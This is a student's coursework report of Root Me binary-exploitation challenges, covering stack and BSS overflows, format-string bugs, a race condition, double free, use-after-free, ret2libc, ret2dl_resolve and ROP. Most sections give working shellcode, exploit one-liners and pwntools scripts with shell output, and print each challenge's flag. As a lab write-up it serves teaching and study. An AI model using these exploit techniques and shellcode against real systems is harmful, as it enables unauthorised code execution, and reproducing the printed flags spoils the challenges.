Root me

Ali BA FAQAS

May 2024

1 Introduction

This is a report of the M1 cybersecurity assignment on Root Me. A total of 18 machines were successfully hacked. My identifier on Root Me is Aloosh23. I worked this assignment with my classmate Mr. BADIANE.

2 ELF x86 - Stack buffer overflow basic 1

2.1 Identifying the Vulnerability

The vulnerability lies in the buffer “buf” which has a size of 40 bytes. However, the fgets function that follows it is set to take an input of up to 45 bytes.

To illustrate this, let’s execute the program with a string of ”A”s as input:

```
app-systeme-ch13@challenge02:~$ ./ch13
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[buf]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[check] 0x41414141
You are on the right way!
```

As you can see, fgets only takes 45 bytes of input; any additional input is ignored. Out of these 45 bytes, 40 are allocated to the buffer. The remaining bytes? They’re used to overwrite the check variable. In fact, only four of these bytes are used because an integer is 4 bytes on this system.

2.2 Exploiting the Vulnerability

Now that we’ve identified the vulnerability, let’s exploit it. Remember, the data ordering is little endian, so if we want to get ‘deadbeef’, we need to adjust the order of the letters.

We’ll use Python to generate the input as follows:

```
app-systeme-ch13@challenge02:~$ (python -c 'print "1"*40 + "\xef\xbe\xad\xde"';
echo cat .passwd) | ./ch13
```

```
[buf]: 11111111111111111111111111111111111111111
[check] 0xdeadbeef
Yeah dude! You win!
Opening your shell...
1w4ntm0r3pr0np1s
Shell closed! Bye.
```

3 ELF x86 - Stack buffer overflow basic 2

3.1 Identifying the Vulnerability

The program contains two functions, shell and sup, and a main function. The main function declares a function pointer func that initially points to the sup function. It also declares a character buffer buf of size 128 bytes.

The vulnerability lies in the fgets function call at line 20. This function is designed to read an input string from the standard input (stdin) into the buffer buf. However, it's set to read up to 133 bytes of input. This is more than the size of the buffer buf, which can only hold 128 bytes.

This discrepancy of 5 bytes (133 - 128) is where the vulnerability arises. If an input string of more than 128 bytes is provided, the excess bytes will overflow the buffer buf and overwrite the function pointer func.

In other words, by carefully crafting an input string, we could control the value of func and make it point to the shell function instead of the sup function. This would allow the us to execute the shell function, which opens a bash shell.

3.2 Exploiting the Vulnerability

to make func point to the shell function, we firt need the shell function address right?

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
...
0x08048510  frame_dummy
0x08048516  shell
0x08048559  sup
0x08048584  main
...
```

so the shell function is at 0x08048516, the same thing as the first challenge, the data ordering is little endian.

```
app-systeme-ch15@challenge02:~$ (python -c "print 'A'*128+
```

```
'\x16\x85\x04\x08'"; cat -) | ./ch15
ls
ch15  ch15.c  Makefile
cat .passwd
B33r1sSoG0oD4y0urBr4iN
```

4 ELF x86 - Stack buffer overflow basic 3

4.1 Identifying the Vulnerability

The vulnerability lies in the way the program handles the buffer and the counter. The program reads characters into the buffer until the counter reaches 64. If the counter is greater than or equal to 64, the program prints an error message. However, if the check variable equals 0xbffffabc, the program executes the shell function.

The stack in this program grows downwards, meaning new variables are added to the top of the stack (at lower addresses), while the buffer grows upwards (to higher addresses). To overwrite the check variable, we need to make the buffer pointer point to the first byte of check. This can only be achieved if the index of the buffer is negative.

Since integers are 4 bytes, we need to get the count variable to be -4. Then we will be able to overwrite the check variable. This is the crux of the vulnerability: by manipulating the count variable, we could control the check variable and trigger the execution of the shell function, leading to a potential security breach.

4.2 Exploiting the Vulnerability

```
app-systeme-ch16@challenge02:~$ (python -c 'print "\x08"*4 +
"\xbc\xfa\xff\xbf"'; echo cat .passwd) | ./ch16
Enter your name: Sm4shM3ify0uC4n
```

5 ELF x86 - Stack buffer overflow basic 4

5.1 Identifying the Vulnerability

This C program retrieves and prints out certain environment variables. It has a function GetEnv that uses the strcpy function to copy the values of these environment variables into a struct EnvInfo.

The key vulnerability lies in the GetEnv function. It uses strcpy to copy the environment variables into the struct without checking the length of these variables. This can lead to a buffer overflow if the environment variables are longer than the size of the struct fields.

All four fields in the struct are susceptible to this overflow. However, the most logical choice for exploitation would be the PATH variable because let's the last one to be copied.

Given that there's no Address Space Layout Randomization (ASLR) or No eXecute (NX) protection, a simple buffer overflow exploit with shellcode can be used.

Since the program doesn't have a proper input function, we need a location to store our shellcode. A good choice would be to use an environment variable for this purpose, lt's use the USERNAME environment variable as it's Initially not set.

5.2 Exploiting the Vulnerability

After getting the address of the USERNAME environment variable we are ready to build our exploit. we simply put the shellcode in the USERNAME environment variable then we modify our PATH.

```
app-systeme-ch8@challenge02:~$  export USERNAME=‘perl -e
’print "\x90"x30,"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a
\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f
\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80","\x90"x30’‘

app-systeme-ch8@challenge02:~$ export PATH=‘perl -e
’print"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr
/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:
/opt/tools/checksec/:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",
"\xc4\xfd\xff\xbf","A"’‘

app-systeme-ch8@challenge02:~$ ./ch8
[+] Getting env...
$ cat .passwd
s2$srAkdAq18q
```

6 ELF x86 - Stack buffer overflow basic 5

6.1 Identifying the Vulnerability

The vulnerability lies in the cpstr function, which is used to copy the string from the buff variable to the username field of the Init structure. The buff variable can hold up to 512 characters, but the username field in the Init structure can only hold 128 characters.

When the cpstr function is called with buff and init.username as arguments, it doesn't check if the source string (buff) is larger than the destination (init.username). If the buff variable contains more than 128 characters, it will lead to a buffer overflow. This means that data will be written beyond the username field, overwriting other fields in the Init structure or other data in memory.

6.2 Exploiting the Vulnerability

The issue here is that the file pointer is one of the values that gets overwritten in the Init function. If the buff variable is filled to its maximum capacity, the file variable of the FILE structure also gets overwritten. This means that when the fgets function tries to fetch the contents of the file, an error occurs because the file pointer is no longer valid.

To put it simply, the location 0x90909090 becomes the location of the file variable.

==¿esi : 0x90909090

```
gef  r /tmp/file
Starting program: /challenge/app-systeme/ch10/ch10 /tmp/file

Program received signal SIGSEGV, Segmentation fault.

[ Legend: Modified register | Code | Heap | Stack | String ]
 registers
$eax   : 0xbffff733  →  "USERNAME=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$ebx   : 0x0804a000  →  0x08049f14  →  <_DYNAMIC+0> add DWORD PTR [eax], eax
$ecx   : 0x3d
$edx   : 0x200
$esp   : 0xbffff6f0  →  0xb7fe6f19  →  <_dl_fixup+9> add edi, 0x180e7
$ebp   : 0xbffff718  →  0xbffff9d8  →  0xbffffb28  →  0x00000000
$esi   : 0x90909090
$edi   : 0xb7fc1000  →  0x001d7d8c
$eip   : 0xb7e4f22b  →  <fgets+43> mov ecx, DWORD PTR [esi]
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow RESUME
virtualx86 identification]
$cs: 0x0073 $ss: 0x007b $ds: 0x007b $es: 0x007b $fs: 0x0000 $gs: 0x0033
```

This implies that the file variable needs to be set appropriately, so we can create a fake FILE structure and execute the desired function.

If we check the location of the file variable under normal circumstances, it is the value at ebp - 0x1c. This value is 0x804b160.

```
gef  x/400wx 0x0804b160
0x804b160: 0xfbad2488 0x0804b362 0x0804b362 0x0804b2c0
0x804b170: 0x0804b2c0 0x0804b2c0 0x0804b2c0 0x0804b2c0
0x804b180: 0x0804c2c0 0x00000000 0x00000000 0x00000000
```

and the final exploit will look like

```
app-systeme-ch10@challenge02:~$ echo `python -c 'print "USERNAME=" + "A"*(128 + 8 - 34) +
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd
```

```
\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62
\x69\x89\xe3\x89\xd1\xcd\x80" + "\x60\xb1\x04\x08" +
"\x01\xa0\x04\x08"*6 +"\x90\xb4\x04\x08" +
"\x10\xb4\x04\x08" +
"\x10\xb4\x04\x08"'' > /tmp/file

app-systeme-ch10@challenge02:~$ ./ch10 /tmp/file
$ cat .passwd
h8Q!2)3=9"51
$
```

7 ELF x86 - Stack buffer overflow basic 6

7.1 Identifying the Vulnerability

The vulnerability in this code lies in the strcpy function, which copies the string from argv[1] to the message array. The message array can hold up to 20 characters, but the size of argv[1] is not checked before the copy operation. This means that if the input string (argv[1]) contains more than 20 characters, it will lead to a buffer overflow. This is because data will be written beyond the message array, overwriting other data in memory.

The presence of the NX (No eXecute) protection technique makes it more complicated. The NX protection prevents arbitrary code from being executed when it is inserted into the heap buffer or stack buffer.

However, this protection can be bypassed using the Return-to-Library (RTL) technique. In this technique, instead of trying to execute shellcode in the buffer, the exploit changes the return address to point to a function that already exists in the process's address space, such as system or execve. The exploit also needs to provide the appropriate arguments for the function.

In other words, when the function returns, it jumps to the address of a library function and executes it with the provided arguments. This allows the attacker to execute arbitrary code despite the NX protection.

7.2 Exploiting the Vulnerability

to exploit this program, we need to get 3 addresses first, system function address, the shill address in libc and finally exit address.

```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7e67310 <system>

(gdb) find __libc_start_main,+99999999,"/bin/sh"
0xb7f89d4c

(gdb) p exit
```

```
$2 = {<text variable, no debug info>} 0xb7e5a260 <exit>

Starting program: /challenge/app-systeme/ch33/ch33
$(perl -e 'print "A"x32 . "\x10\x73\xe6\xb7" .
"\x60\xa2\xe5\xb7" . "\x4c\x9d\xf8\xb7"')
warning: the debug information found in
"/libold/i386-linux-gnu/libc-2.19.so"
does not match "/libold/i386-linux-gnu/libc.so.6" (CRC mismatch).

Your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAs`L
$
```

and now we are ready to get our flag

```
app-systeme-ch33@challenge02:~$ ./ch33 $(perl -e 'print "A"x32.
"\x10\x73\xe6\xb7" . "\x60\xa2\xe5\xb7" . "\x4c\x9d\xf8\xb7"')
Your message: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAs`L
$ cat .passwd
R3t2l1bcISnicet0o!
$
```

8 ELF x86 - Format string bug basic 1

8.1 Identifying the Vulnerability

The vulnerability in this code is in the printf(argv[1]); line where user-supplied data (argv[1]) is used as the format string for printf. This can allow us to read from or write to arbitrary memory locations by supplying format specifiers.

8.2 Exploiting the Vulnerability

so, let's retrieve the stack.

```
app-systeme-ch5@ch./ch5 `python -c "print '%08x,'*14"`
00000020,0804b160,0804853d,00000009,bffffd21,b7e19679,bffffbf4,
b7fc1000,b7fc1000,0804b160,39617044,28293664,6d617045,bf000a64,
```

and if we convert the last 4 words to big-endian format (as it should be - the memory saves the bytes in little endian) then we should get the flag.

```
app-systeme-ch5@challenge02:~$ strings -13 < <(for i in `seq 1 20`; \
>     do ~/ch5 "%$i"'$08X'"%$((i+1))"'$08X'"%$((i+2))"'$08X'"%$((i+3))"'$08X' \
>     |sed -r 's/(..)(..)(..)(..)/\4\3\2\1/g' \
>     |xxd -r -p; echo;  done)
Dpa9d6)(Epamd
```

9 ELF x86 - Format string bug basic 2

9.1 Identifying the Vulnerability

The code provided has a Format String Vulnerability, specifically in the snprintf(fmt, sizeof(fmt), argv[1]); line. Here, user-supplied data (argv[1]) is used as the format string for snprintf. By providing format specifiers as input, we can read from or write to arbitrary memory locations. For instance, we could potentially overwrite the check variable using the %n format specifier. This specifier writes the number of characters successfully written so far into the argument pointed to by its corresponding argument. If we control the format string and know the address of check, we could set check to 0xdeadbeef. This would cause the program to print "Yeah dude ! You win !" and spawn a shell.

9.2 Exploiting the Vulnerability

Let's Use "AAAA" at the beginning of the input to easily identify fmt as 41414141 then check at which %p the value is output.

```
app-systeme-ch14@challenge02:~$ ./ch14 ‘perl -e ’print "AAAA","%p"x9’‘
check at 0xbffffac8
argv[1] = [AAAA%p%p%p%p%p%p%p%p%p]
fmt=[AAAA0x80485f1(nil)(nil)0xc20xbffffc140xb7fe14490xf63d4e2e0x40302010x41414141]
check=0x4030201
```

It occurred in the 9th.

The address that needs to be changed is the address of the check variable, and the value that needs to be changed is 0xdeadbeef. respecting the following equation [Address to write 0xbe] [BBBB] [Address to write 0xef] [BBBB] [Address to write 0xde] [BBBB] [Address to write 0xad].

The hexadecimal value deadbeef is divided into 1-byte segments and converted to decimal.

The resulting values are: de = 222 ad = 173 be = 190 ef = 239

The calculation starts from the last byte (ef). The payload is check=0x59585756, which uses 56 bytes. So, the new value for ef is calculated as follows: ef = 239 - 0x56 + 1 = 239 - 86 + 1 = 154 The new value for be is calculated by subtracting ef from 1be: be = 1be - ef = 446 - 239 = 207 The new value for ad is calculated by subtracting be from 1ad: ad = 1ad - be = 429 - 190 = 239

Finally, the new value for de is calculated by subtracting ad from de: de = 222 - 173 = 49 So, the new values for de, ad, be, and ef are 49, 239, 207, and 154 respectively.

```
app-systeme-ch14@challenge02:~$ ./ch14 ‘perl -e ’print
"\x98\xfa\xff\xbf","BBBB","\x99\xfa\xff\xbf","BBBB",
"\x9a\xfa\xff\xbf","BBBB","\x9b\xfa\xff\xbf","BBBB",
```

```
"%p"x7,"%154c","%n","%207c","%n","%239c","%n","%49c","%n"'`
check at 0xbffffa98
argv[1] = [BBBBBBBBBBBBBBBB%p%p%p%p%p%p%p%154c%n%207c%n%239c%n%49c%n]
fmt=[]
check=0xdeadbeef
Yeah dude ! You win !
app-systeme-ch14-cracked@challenge02:~$ cat .passwd
1l1k3p0Rn&P0pC0rn
```

10 ELF x86 - Format string bug basic 3

10.1 Identifying the Vulnerability

The sprintf function at line 31 is used to copy the contents of buffer into outbuf. However, there is no check to ensure that the size of buffer does not exceed the size of outbuf. This can lead to an overflow if the size of buffer exceeds the size of outbuf.

The vulnerability is triggered when the user input is longer than the size of buffer, causing the sprintf function at line 31 to overflow outbuf.

10.2 Exploiting the Vulnerability

(python -c 'print "%117c" + ""'; cat) — ./ch17: This part of the exploit is exploiting a format string vulnerability. The "%117c" is a format specifier that tells the program to print a character 117 times. The "" is the memory address that the exploit wants to overwrite, written in little endian format.

'python -c 'print "90"*1000 + "6a315899808938916a46588000b52686e2f7368682f2f626989389180"'': This part of the exploit is a classic example of shellcode injection, which is a type of buffer overflow attack. The "90"*1000 is a NOP-sled, which is a sequence of no-operation instructions that provide a landing zone for the exploit. The rest of the string is the actual shellcode, which is a series of machine code instructions that the exploit wants the program to execute. In this case, the shellcode is designed to spawn a shell, giving us control over the system.

```
app-systeme-ch17@challenge02:~$ (python -c 'print "%117c" +
"\xbc\xfc\xff\xbf"'; cat) | ./ch17 'python -c 'print "\x90"*1000 +
"\x6a\x31\x58\x99\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58
\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f
\x62\x69\x89\xe3\x89\xd1\xcd\x80"'`
Username: Bad username: %117c
ls
Makefile  ch17 ch17.c
id
uid=1217(app-systeme-ch17-cracked) gid=1117(app-systeme-ch17) groups=1117(app-systeme-ch17),
cat .passwd
f0rm4tm3B4by!
```

11 ELF x86 - Race condition

11.1 Identifying the Vulnerability

The vulnerability in this code lies in the temporary file creation and deletion process. The program creates a temporary file with a predictable name (/tmp/tmp$_{file.txt}$),

copies the content of a password file into it, and then deletes it after a short delay (250 milliseconds).

During this brief period, the contents of the password file are exposed in the temporary file. Even though the file is created with read-only permissions (0444), in a shared system or with a privileged user, this could pose a security risk.

The vulnerability arises from the fact that the filename is predictable and the file's contents are exposed, albeit briefly, before deletion. We can read the file during this window could potentially access sensitive information.

11.2 Exploiting the Vulnerability

By waiting for a very short period of time after starting the ch12 program, there's a chance that the cat command will be able to read the temporary file before the ch12 program deletes it.

```
app-systeme-ch12@challenge02:~$ (./ch12 &); sleep 0.001; cat /tmp/tmp_file.txt
eh-q8dEa8q19f9aF()"2a96q92
```

12 ELF x64 - Double free

12.1 Identifying the Vulnerability

The vulnerability lies in the handling of the human and zombies pointers. When a human or zombie dies (their HP reaches 0), their corresponding structure is freed with the free function, and the pointer is set to NULL. However, in the attack function (which is a method of the Zombie struct), the human pointer is used without first checking if it's NULL. If the human has died and the human pointer has been set to NULL, this will lead to undefined behavior, which is a serious security issue. Similarly, in the fire function (which is a method of the Human struct), a specific zombie pointer is used without first checking if it's NULL. If the zombie has died and the zombie pointer has been set to NULL, this will also lead to undefined behavior.

12.2 Exploiting the Vulnerability

The exploitation takes place in 4 steps:

First step (allocation): Allocate an address for Human (command 1) Allocate an address for Zombie[0] (command 5 then 1 to choose zombie 1) Second step (double free): Free the address of Human without setting the Human pointer to NULL with suicide (command 3) Free the address of Zombie[0] to bypass the protection (command 7 then 1) Free the address of Human again, this time setting the pointer to NULL otherwise it corrupts the memory (command 4) At this stage we get "Heap -¿ a -¿ b -¿ a -¿ tail", all that remains is to exploit it to get our flag Third step (reallocation): Allocate an address for Zombie[0] (command 5 then 1 to choose zombie 1) Allocate an address for Zombie[1], this allows to remove the superfluous address (command 5 then 2 to choose zombie 2) Allocate an address for Human except that this one will be the same as that of Zombie[0] (command 1) Fourth step (flag): Use the eatBody function of Zombie[0] which now points to prayChuckToGiveAMiracle (command 7 then 1)

```
app-systeme-ch59@challenge03:~$ printf "1\n3\n5\n1\n4\n1\n7\n1\n" | ./ch59
1: Take a new character
2: Fire on a zombie
3: Suicide you
4: Pray Chuck Norris to help you
...
...
...
Which zombie eats? (1-3)
Chuck Norris arrives, kills every zombie like a boss. Turns back to you and says:
r3SpecT_tHe_rules!_
```

13 ELF x86 - Use After Free - basic

13.1 Identifying the Vulnerability

Memory is initially allocated to store data when a new Dog or DogHouse is created. This memory is later freed when the death function is called for a Dog or the destruct function is called for a DogHouse. However, the pointer to this memory isn't set to NULL, leaving a dangling pointer. If a new Dog or DogHouse is subsequently created, potentially in the same memory area, the old pointer now points to the memory of the new structure. This old pointer can then be used again, manipulating the data of the new structure in an unintended manner. This behavior can lead to unexpected outcomes and poses a serious security risk.

13.2 Exploiting the Vulnerability

From this we can tell the second word will occupy the space where the pointer to the death function was. So we just need to replace 'cccc' with the address of

bringBackTheFlag(). So our payload should:

Send a '1' to create new dog object Send a name for that dog 'AAAAAAAA' Send a '4' to call death and free the dog from heap Send a '5' to create dogHouse object Send a location for dogHouse 'aaaaaaaa' Send a name 'bbbb870408' to overwrite death function pointer Send a 4 to call dog-¿death() again

```
app-systeme-ch63@challenge03:~$ python -c 'print
"1\nAAAAAAAA\n4\n5\nAAAAAAAA\nBBBB\xcb\x87\x04\x08\n4\n"' | ./ch63
1: Buy a dog
2: Make him bark
3: Bring me the flag
4: Watch his death
5: Build dog house
6: Give dog house to your dog
7: Break dog house
0: Quit

...
...
...
7: Break dog house
0: Quit
U44aafff_U4f_The_d0G
```

14 ELF x64 - Stack buffer overflow - basic

14.1 Identifying the Vulnerability

The vulnerability in the provided code is a classic example of a buffer overflow. In this code, the program reads user input into a fixed-size buffer of 256 characters using scanf(), without checking the length of the input. If the user input exceeds 256 characters, it overflows the buffer and overwrites adjacent memory. You've observed that at around 280 characters, the return address is overwritten, which is a serious security risk. An attacker could exploit this to execute arbitrary code or cause a program crash.

14.2 Exploiting the Vulnerability

We will simply put the address of the callMeMaybe function in the stack with the aim of overwriting the return address of the main

```
app-systeme-ch35@challenge03:~$  nm ch35 | grep call
00000000004005e7 T callMeMaybe

app-systeme-ch35@challenge03:~$ (python -c "print('
```

```
\xe7\x05\x40\x00\x00\x00\x00\x00' * 50)" ; cat) | ./ch35
Hello @
id
uid=1135(app-systeme-ch35) gid=1135(app-systeme-ch35) euid=1235(app-systeme-ch35-cracked)
groups=1135(app-systeme-ch35),100(users)
cat .passwd
B4sicBufferOverflowExploitation
```

15 ELF x64 - Stack buffer overflow - PIE

15.1 Identifying the Vulnerability

The scanf function is used to read an input string into the key array, which has been allocated 30 characters of space. However, scanf does not perform any checks to ensure that the input string fits into this space. If a user provides an input string that exceeds 30 characters, it will overflow the key array, overwriting adjacent memory on the stack.

15.2 Exploiting the Vulnerability

we can build a script using the pwntools library. The script first calculates an offset value, then creates a payload that begins with 40 'A' characters. It establishes an SSH connection to the remote server and starts a process. The script then reads the output of the process until it encounters the string "main(): 0x", and retrieves the address of the main function. It calculates the address of the Winner function by subtracting the offset from the address of main. This address is appended to the payload, which is then sent to the process. The process's response is read and printed out. The exploit works by overwriting the return address on the stack with the address of the Winner function, causing this function to be executed when the current function returns.

```
from pwn import *

# Calculate the offset between the main function and the Winner function
offset = 0x91A - 0x87A

# Initialize an empty byte string for the payload
pay = b""
# Fill the first 40 bytes of the payload with 'A' characters
pay += b"A" * 40

# Establish an SSH connection to the remote server
s = ssh(
    user="app-systeme-ch83",
    host="challenge03.root-me.org",
    port=2223,
```

```
    password="app-systeme-ch83",
)

# Start the vulnerable program on the remote server
p = s.process("./ch83")

# Read the output from the program until it encounters the string "main(): 0x"
p.recvuntil(b"main(): 0x")

# Read the next 12 characters from the program's output,
#which is the address of the main function
mainadd = p.recv(12)

# Calculate the address of the Winner function and convert
#it to a 64-bit little-endian string
winadd = p64(int(mainadd, 16) - int(offset))

# Append the address of the Winner function to the payload
pay += winadd

# Read the output from the program until it encounters the string ": "
p.recvuntil(b": ")

# Send the payload to the program
p.sendline(pay)

# Print the output from the program after the payload has been sent
print(p.recv(1024).decode())
print(p.recv(1024).decode())
```

And now we are ready to run the script.

```
$ python pyth12.py
[+] Connecting to challenge03.root-me.org on port 2223: Done
[*] app-systeme-ch83@challenge03.root-me.org:
    Distro    Ubuntu 18.04
    OS:       linux
    Arch:     amd64
    Version:  4.15.0
    ASLR:     Enabled
[+] Starting remote process bytearray(b'./ch83') on challenge03.root-me.org: pid 10278
Access denied!
Access granted!

Super secret flag: $$_D0n't_PiE_l1k3_i_d1d_$$
```

16 ELF x86 - BSS buffer overflow

16.1 Identifying the Vulnerability

In the provided C program, the cp_username function copies an input string into the username buffer without checking the length of the input. If the input string is longer than the username buffer can hold (512 bytes), it will overflow the buffer and overwrite adjacent memory. This could potentially lead to arbitrary code execution or other security issues. Specifically, if an argument is provided that is sufficiently long, it could overwrite the function pointer _atexit, which is called at the end of the hand function. By carefully crafting the input, we could potentially control the execution flow of the program by causing _atexit to point to malicious code.

16.2 Exploiting the Vulnerability

a simple exploit uses constant address (atexit() function) to allocate shellcode and executes it.

```
app-systeme-ch7@challenge02:~$ ./ch7 ‘python -c ’print"\x90"*479
+ "\x6a\x0b\x58\x99\x52\x66\x68\x2d
\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62
\x61\x73\x68\x2f\x62\x69\x6e\x89
\xe3\x52\x51\x53\x89\xe1\xcd\x80" + "\x6c\xfb\xff\xbf"’‘
[+] Running program with username :

j

bash-4.4$ cat .passwd
aod8r2f!q:;oe
```

17 ELF x86 - Stack buffer overflow - ret2dl_resolve

17.1 Identifying the Vulnerability

The source code is not provided.

```
pp-systeme-ch77@challenge03:~$ checksec ch77
[*] ’/challenge/app-systeme/ch77/ch77’
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
```

```
    PIE:      No PIE (0x8048000)
```

```
app-systeme-ch77@challenge03:~$ gef ch77
Reading symbols from ch77...(no debugging symbols found)...done.
GEF for linux ready, type ‘gef’ to start, ‘gef config’ to configure
93 commands loaded for GDB 8.1.1 using Python engine 3.6
[*] 3 commands could not be loaded, run ‘gef missing‘ to know why.
gef  set disassembly-flavor att
gef  disas main
Dump of assembler code for function main:
   0x0804842d <+0>: push   %ebp
   0x0804842e <+1>: mov    %esp,%ebp
   0x08048430 <+3>: and    $0xfffffff0,%esp
   0x08048433 <+6>: sub    $0x20,%esp
   0x08048436 <+9>: movl   $0x64,0x8(%esp)
   0x0804843e <+17>: lea    0x10(%esp),%eax
   0x08048442 <+21>: mov    %eax,0x4(%esp)
   0x08048446 <+25>: movl   $0x0,(%esp)
   0x0804844d <+32>: call   0x80482e0 <read@plt>
   0x08048452 <+37>: mov    $0x0,%eax
   0x08048457 <+42>: leave
   0x08048458 <+43>: ret
End of assembler dump.
gef
```

the read function is used to read 0x64 bytes of data into a buffer that is only 0x20 bytes in size. This means that 0x44 bytes of data can overflow into the adjacent memory.

17.2 Exploiting the Vulnerability

This vulnerability allows for the modification of the return address. The exploit involves overwriting the return address to redirect execution to use the _dl_runtime_resolve function to execute arbitrary code.

The exploit script first prepares the payload, which includes a fake Elf32_Rel structure and a fake Elf32_Sym structure. These structures are used to trick the dynamic linker into resolving a non-existent symbol, which is actually the system function. The payload also includes the command /bin/sh to be executed by the system function.

The script then sends the payload to the vulnerable binary over a remote connection. The payload triggers the buffer overflow, overwrites the return address, and causes the binary to execute the system("/bin/sh") command, effectively giving the attacker control over the system.

```
from pwn import *
from struct import *
```

```
context.log_level = 'debug'
elf = ELF('/challenge/app-systeme/ch77/ch77')

# get section address
dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
relplt     = elf.get_section_by_name('.rel.plt').header['sh_addr']
plt        = elf.get_section_by_name('.plt').header['sh_addr']
bss        = elf.get_section_by_name('.bss').header['sh_addr']
read   = elf.plt['read']
got   = elf.got['read']


pop3 = 0x080484b9
pop_ebp = 0x080484bb
leave_ret = 0x08048398

stack_size = 0x300
base_stage = bss + stack_size

#read(0,base_stage,100)
#jmp base_stage
buf1 = b'A'* (28)
buf1 += p32(read)
buf1 += p32(pop3)
buf1 += p32(0)
buf1 += p32(base_stage)
buf1 += p32(100)
buf1 += p32(pop_ebp)
buf1 += p32(base_stage)
buf1 += p32(leave_ret)

addr_fake_reloc  = base_stage + 20
addr_fake_sym    = addr_fake_reloc + 8
addr_fake_symstr = addr_fake_sym +16
addr_fake_cmd    = addr_fake_symstr +7

fake_reloc_offset = addr_fake_reloc - relplt
fake_r_info       = ((addr_fake_sym - dynsym) * 16) & ~0xFF    #FAKE ELF32_R_SYM
fake_r_info   = fake_r_info | 0x7                                   #FAKE ELF32_R_TYPE
fake_st_name      = addr_fake_symstr - dynstr

#_dl_runtime_resolve(struct link_map *l, fake_reloc_arg)
buf2 = b'AAAA'
buf2 += p32(plt)
```

```
buf2 += p32(fake_reloc_offset)
buf2 += b'BBBB'
#Argument of the function
buf2 += p32(addr_fake_cmd)
#Fake Elf32_Rel
buf2 += p32(got)
buf2 += p32(fake_r_info)
#Fake Elf32_Sym
buf2 += p32(fake_st_name)
buf2 += p32(0)
buf2 += p32(0)
buf2 += p32(0x12)
#String "system"
buf2 += b'system\x00'
#String "/bin/sh"
buf2 += b'/bin/sh\x00'

binary = ELF(elf.path)
#p = process(binary.path)
p=remote('challenge03.root-me.org', 56577)
p.send(buf1)
p.send(buf2)
p.interactive()

app-systeme-ch77@challenge03:~$ python3 /tmp/f.py
.....
.....
.....

$ id
[DEBUG] Sent 0x3 bytes:
    b'id\n'
[DEBUG] Received 0x6c bytes:
    b'uid=1277(app-systeme-ch77-cracked) gid=1277(app-systeme-ch77-cracked)
    groups=1277(app-systeme-ch77-cracked)\n'
uid=1277(app-systeme-ch77-cracked) gid=1277(app-systeme-ch77-cracked)
groups=1277(app-systeme-ch77-cracked)

$ cat /challenge/app-systeme/ch77/.passwd
[DEBUG] Sent 0x28 bytes:
    b'cat /challenge/app-systeme/ch77/.passwd\n'
[DEBUG] Received 0x27 bytes:
    b'RootMe{No_n33d_to_l34k_to_get_a_sh3LL}\n'
RootMe{No_n33d_to_l34k_to_get_a_sh3LL}
```

18 ELF x64 - Stack buffer overflow - advanced

18.1 Identifying the Vulnerability

the gets function is used to read input into a buffer of size 256. The gets function does not check the size of the input, which means that if the input exceeds 256 bytes, it will overflow the buffer. This overflow can overwrite important control information on the stack, such as the return address of the function.

18.2 Exploiting the Vulnerability

The exploit for this vulnerability involves overwriting the return address to redirect execution to a chosen location. In this case, the exploit uses a technique known as Return Oriented Programming (ROP) to execute arbitrary code.

The exploit script first prepares the payload, which includes a series of ROP gadgets and the shellcode to be executed. The ROP gadgets are used to call the read function to read the shellcode into a writable location (the .bss section in this case), call the mprotect function to make this location executable, and finally jump to this location to execute the shellcode.

The payload is carefully crafted to align with the 64-bit architecture and the specific protections in place in the binary (such as NX and ASLR). Once the payload is prepared, it is sent to the vulnerable binary over a remote connection. The payload triggers the buffer overflow, overwrites the return address, and causes the binary to execute the shellcode, effectively giving us control over the system.

```
from pwn import *

p = process('/challenge/app-systeme/ch34/ch34')
e = context.binary = ELF('/challenge/app-systeme/ch34/ch34')

read = p64(0x4342a0)
write = p64(0x434300)
mprotect = p64(0x434e10)
bss = 0x6c2000

rdiret = p64(0x4016d3)
rdxrsiret = p64(0x437229)
jmprdi = p64(0x4bc18b)
callrdi = p64(0x439b6d)

shellcode = asm(shellcraft.setreuid(1234) + shellcraft.sh())

pay = b''
pay += b'A'*(256+8+8+8)

pay += rdiret + p64(0)
```

```
pay += rdxrsiret + p64(0x300) + p64(bss)
pay += read

pay += rdiret + p64(bss)
pay += rdxrsiret + p64(0x7) + p64(0x1000)
pay += mprotect

pay += rdiret + p64(bss)
pay += callrdi

p.sendline(pay)
p.sendline(shellcode)
p.interactive()
```

```
app-systeme-ch34@challenge03:~$ python3 /tmp/p2.py
[+] Starting local process '/challenge/app-systeme/ch34/ch34': pid 7851
[*] '/challenge/app-systeme/ch34/ch34'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
Hex result: 41414141414141414141414141414141414141......
....
...
$
```